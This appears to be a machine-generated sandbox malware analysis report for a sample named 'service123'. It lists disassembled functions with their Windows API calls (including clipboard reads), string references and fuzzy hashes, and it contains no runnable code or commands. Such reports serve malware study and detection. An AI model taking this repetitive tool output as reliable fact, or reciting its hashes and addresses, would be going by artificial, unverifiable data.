Strings

-, xrefs: 6D045D22
., xrefs: 6D045B35

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: f59f8c394cb6a3aef1a8596aaf6d467abe450361381d8dfda8341846c65c6c81
Instruction ID: e26ad4ab8172952019a36e7269a803cdc3df0b46bb675cb3e60c9644c75fec35
Opcode Fuzzy Hash: f59f8c394cb6a3aef1a8596aaf6d467abe450361381d8dfda8341846c65c6c81
Instruction Fuzzy Hash: 78D127B49083199FDB00DFA8C488A9EBBF1BF48304F15896AE8A4EB355D734D945CB91

Function 6D045E30 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 306COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6D045F5E
memchr.MSVCRT ref: 6D045F7D

Part of subcall function 6D0B82D0: setlocale.MSVCRT ref: 6D0B82E5

Strings

., xrefs: 6D045F6F
6, xrefs: 6D046166

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: d0237f474fc387f067b29cf9da4246ca1cf9c7951c7ad323b208e9a4f09b3936
Instruction ID: a004737e8d71312530a3756b18b258d668acbfe9433c8c6735b4b5c284f4a75c
Opcode Fuzzy Hash: d0237f474fc387f067b29cf9da4246ca1cf9c7951c7ad323b208e9a4f09b3936
Instruction Fuzzy Hash: 48D14AB5908359DFDB00DFA8C484A9EBBF0BF48314F158A2AE8A4E7351D734D945CB92

Function 6D0C0D40 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 283stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D0C0D85

Strings

basic_string::append, xrefs: 6D0C0DFD, 6D0C0E09, 6D0C0EFC, 6D0C0FBC

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string::append
API String ID: 39653677-3811946249
Opcode ID: f369a5ec626c6778c2ef720c68f4609d45d5c76d93bd4aa29b4f80d8dc0ee178
Instruction ID: 44589b6bc806b994f8b883c69d9ada02746fe623f9bb14885e6be5beb4c4500f
Opcode Fuzzy Hash: f369a5ec626c6778c2ef720c68f4609d45d5c76d93bd4aa29b4f80d8dc0ee178
Instruction Fuzzy Hash: F6A16AB5A082059FEB00EF69C48476EBBF1FF89354F45896DE8988B344D734E845CB92

Function 6D05B080 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT(00000000,?,?,6D05972F), ref: 6D05B0E6
memcpy.MSVCRT(?,?,?,?,?,?,6D05972F), ref: 6D05B151
memcpy.MSVCRT(00000000,?,?,6D05972F), ref: 6D05B198

Strings

basic_string::assign, xrefs: 6D05B1B3

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: cd22fec75b3b3ff11bb3a33415401d97d0c9438110cdde3f556b9187184206cd
Instruction ID: 4c7dc77dcbb0b33118ad30dc756b0d636328463131efc649df86b6c61cdcb249
Opcode Fuzzy Hash: cd22fec75b3b3ff11bb3a33415401d97d0c9438110cdde3f556b9187184206cd
Instruction Fuzzy Hash: 3D518C71B096128BE714DF2DC68872EFBE5FF85304B51866DE8558B314E730A811CB92

Function 6D0641C0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6D064221
memcpy.MSVCRT ref: 6D06428F
memcpy.MSVCRT ref: 6D0642C8

Strings

basic_string::assign, xrefs: 6D0642E4

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: e6a3daa88c35ee9e49ff0015c4c003ce698caeebc88254e9f7dc38c7fffd30f4
Instruction ID: 778e2850ad48be588f03501f8ceea324ffc39878fceabf993885855fb80547ff
Opcode Fuzzy Hash: e6a3daa88c35ee9e49ff0015c4c003ce698caeebc88254e9f7dc38c7fffd30f4
Instruction Fuzzy Hash: D1517B71B0D6A29FE701DF68D49472EFBF1BF8A704BA1855DD4958B214D330D805CBA2

Function 6D01E730 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D01E75A
wcslen.MSVCRT ref: 6D01E7CA

Strings

basic_string: construction from null is not valid, xrefs: 6D01E792, 6D01E802, 6D01E872

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: f270317de20597c3c6069111e8cbacb066e70872886ea0a56d5a6b29b54130fd
Instruction ID: faadf1466dc2980cc913ddc961813348ec098028aed6ef156fe6a032e71f66cc
Opcode Fuzzy Hash: f270317de20597c3c6069111e8cbacb066e70872886ea0a56d5a6b29b54130fd
Instruction Fuzzy Hash: 78418BF1A086108FEB00AF6CD88495EBBE0BF55314F46496DE9888B315E331E985CB92

Function 6D01E331 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D01E35D
strlen.MSVCRT ref: 6D01E3AD

Strings

basic_string: construction from null is not valid, xrefs: 6D01E37F, 6D01E3CF, 6D01E41F

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: 286709caf8f9cc7e6f23082a5f1c9bb055972aed7b0f7599aa14879fa62e712e
Instruction ID: 9b4f497265c8f2304c20d5bf655b917d5fc3f568de19bbbca65dc9be357906ed
Opcode Fuzzy Hash: 286709caf8f9cc7e6f23082a5f1c9bb055972aed7b0f7599aa14879fa62e712e
Instruction Fuzzy Hash: F33152B1A093158FDB10AF28D88495EBBE4FF05614F06486DE988DB311D335E885CB92

Function 00527C40 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00527C92
MultiByteToWideChar.KERNEL32 ref: 00527CD5

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 9287407c2f31e39b565531f975e4742e6ca28db0d89a744cd356964c009189b5
Instruction ID: d22cd2c6a1b565e4a2d25b2d83c8eabcf5b524f6726f47ea379faf05cd85c70d
Opcode Fuzzy Hash: 9287407c2f31e39b565531f975e4742e6ca28db0d89a744cd356964c009189b5
Instruction Fuzzy Hash: C131E4B050D3518FD710DF28E58566ABFE0BF8A314F14892EE8948B391E776D849CB92

Function 6D009660 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6D0096B2
MultiByteToWideChar.KERNEL32 ref: 6D0096F5

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: c7e0597c311878c8dcdda15405597992ddb3f49908e5624ca3486738d020c15f
Instruction ID: 14adb634cf61ea23fe023cf32404ae3d4549193e4bedc3f591c2170541bbf6ba
Opcode Fuzzy Hash: c7e0597c311878c8dcdda15405597992ddb3f49908e5624ca3486738d020c15f
Instruction Fuzzy Hash: 5031F4B55093429FE700DF29E58435ABBF0BF86314F04896DE8E88B251E3B6D948CB43

Function 6CFFF511 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6CFFF5C1

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: dba2bb2350a8a5493e2df72763a91613d740d08f4c6693094c750593439453ca
Instruction ID: 33df5b4153ba51b0e84a5723f9faeed116bbb1e76e0e11d526c672cff0bce41c
Opcode Fuzzy Hash: dba2bb2350a8a5493e2df72763a91613d740d08f4c6693094c750593439453ca
Instruction Fuzzy Hash: 7A412871909302CFDB40DF29EA8530A7BF0FB86318F158659D8684B764D770D546CBA2

Function 6CFFF6B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6CFFF751

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: cba27fa30d93c5263466ffd72305031f733c8a1aceb0f48673c91c1d50a3aaf9
Instruction ID: 91d747ab211ee49827b961a4b91ed28c2bc4e9c97f713190a5650338c701454d
Opcode Fuzzy Hash: cba27fa30d93c5263466ffd72305031f733c8a1aceb0f48673c91c1d50a3aaf9
Instruction Fuzzy Hash: 1D315C71905301CFDB40AF69DA8930A7BF0FB46318F25825ED8744B3A4D775D546CBA2

Function 6CFFF9D1 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6CFFFA72
CreateSemaphoreW.KERNEL32 ref: 6CFFFAB7
WaitForSingleObject.KERNEL32 ref: 6CFFFB00

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: b737523084ea8fc6c1a743154923f37a559416ba565b88f76cdf2e1de263fa72
Instruction ID: 736d02a7a22e0081ba39f49b5b3872c8729ddb4da6968750e5282b7d6c9fc24d
Opcode Fuzzy Hash: b737523084ea8fc6c1a743154923f37a559416ba565b88f76cdf2e1de263fa72
Instruction Fuzzy Hash: 0E310670949302CFDB54EF2DDA9930A7BF0FB46318F158659E8688B390D3B0D546CBA2

Function 6CFFFB60 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6CFFFBF2
CreateSemaphoreW.KERNEL32 ref: 6CFFFC37
WaitForSingleObject.KERNEL32 ref: 6CFFFC80

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: eea8756e49db796fdfe869800061ebfabd66739750388612ae016cbadcd1fc85
Instruction ID: 86b3cc5caa6a8c040d9326c6627b33455be676e52f796c5825f79cdd8f0248aa
Opcode Fuzzy Hash: eea8756e49db796fdfe869800061ebfabd66739750388612ae016cbadcd1fc85
Instruction Fuzzy Hash: 1B312C70949312CFDB40AF69DA9930A7BF0FB46358F11825DD8788B394D3B4D546CBA2

Function 6CFF55A8 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6CFF72FE

Strings

this, xrefs: 6CFF55B3
}, xrefs: 6CFF7392
{parm#, xrefs: 6CFF72D9

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: bfc8472836d6ed0514855a13a7ce4b203b7cb9880cfeaf265cdc38ee85f6767c
Instruction ID: 9b719331a013691e62a1c15e4ac0c3b9ac289c0e4350a14f56e5f1b7c6c7caaf
Opcode Fuzzy Hash: bfc8472836d6ed0514855a13a7ce4b203b7cb9880cfeaf265cdc38ee85f6767c
Instruction Fuzzy Hash: 32218D7150D342DFD7118F28C0803AABBA1EF91304F19C5BEDCD84FA5AD3B594868BA6

Function 00521001 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0052106B
__p__fmode.MSVCRT ref: 00521070
__p__commode.MSVCRT ref: 0052107D

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: 548d770cf62a0249fa40446094cbe00ff18f79a99a07ba70a9c0985f9d205f1c
Instruction ID: 0f7fffba9b3bb5b8869093ae8bfe4e534338ae4ef03bcad37ee9c834b1af828f
Opcode Fuzzy Hash: 548d770cf62a0249fa40446094cbe00ff18f79a99a07ba70a9c0985f9d205f1c
Instruction Fuzzy Hash: 9621A170504622CBC320AF20E54D7673BB1BF67304F948528C4084B2E6E73698CBEBA9

Function 6D009BD7 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6D009BE7
GlobalLock.KERNEL32 ref: 6D009BF9
GlobalUnlock.KERNEL32 ref: 6D009C1A
CloseClipboard.USER32 ref: 6D009C23
CloseClipboard.USER32 ref: 6D009C48
GetClipboardSequenceNumber.USER32 ref: 6D009C6E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockNumberSequenceUnlock
String ID:
API String ID: 1345600146-0
Opcode ID: d6fef8975874c0c5a2f4606731f4faf019e452460fc5761ceffd900455ed7b90
Instruction ID: b30ae34899ce4266ce156fb4ea4c7e898253e85a1e5762e1a51876b981d95061
Opcode Fuzzy Hash: d6fef8975874c0c5a2f4606731f4faf019e452460fc5761ceffd900455ed7b90
Instruction Fuzzy Hash: CDF081B2A086018FFB007F7CBA5936EBBF1AB41200F45053DD8A297244DB70D448CB93

Function 6D069D20 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6D069D35
strlen.MSVCRT ref: 6D069D3F
memcpy.MSVCRT ref: 6D069D68
setlocale.MSVCRT ref: 6D069D7C

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 2e14165fccbdb76d6abcf74262858408c7323d4578caf47221562f7d52850c63
Instruction ID: e66f5d9bf44e6f1aede7e3e2b4ffda1c20b9f3ead3e82b8344be6ea1f40c0179
Opcode Fuzzy Hash: 2e14165fccbdb76d6abcf74262858408c7323d4578caf47221562f7d52850c63
Instruction Fuzzy Hash: FFF0D4B190D311AAF3406F68A5483AFFAE4EF85684F06892DE5C88B211DB7884448BD3

Function 00524558 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

@, xrefs: 00524647
u, xrefs: 00524596

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 5175d310ec45ba5748963b8cbf3124c134468c5be43483f013aa641d6cc56e09
Instruction ID: 5d44041cfd09267cb6e85f94cbd3b77a95f80ffba62ff62f95c8ca6dd9493dff
Opcode Fuzzy Hash: 5175d310ec45ba5748963b8cbf3124c134468c5be43483f013aa641d6cc56e09
Instruction Fuzzy Hash: D9A17F356083A18BCB31CF24E0803AABFE1BF86714F148A1DE8D997281D735D949DF82

Function 6D004C28 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

@, xrefs: 6D004D17
u, xrefs: 6D004C66

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
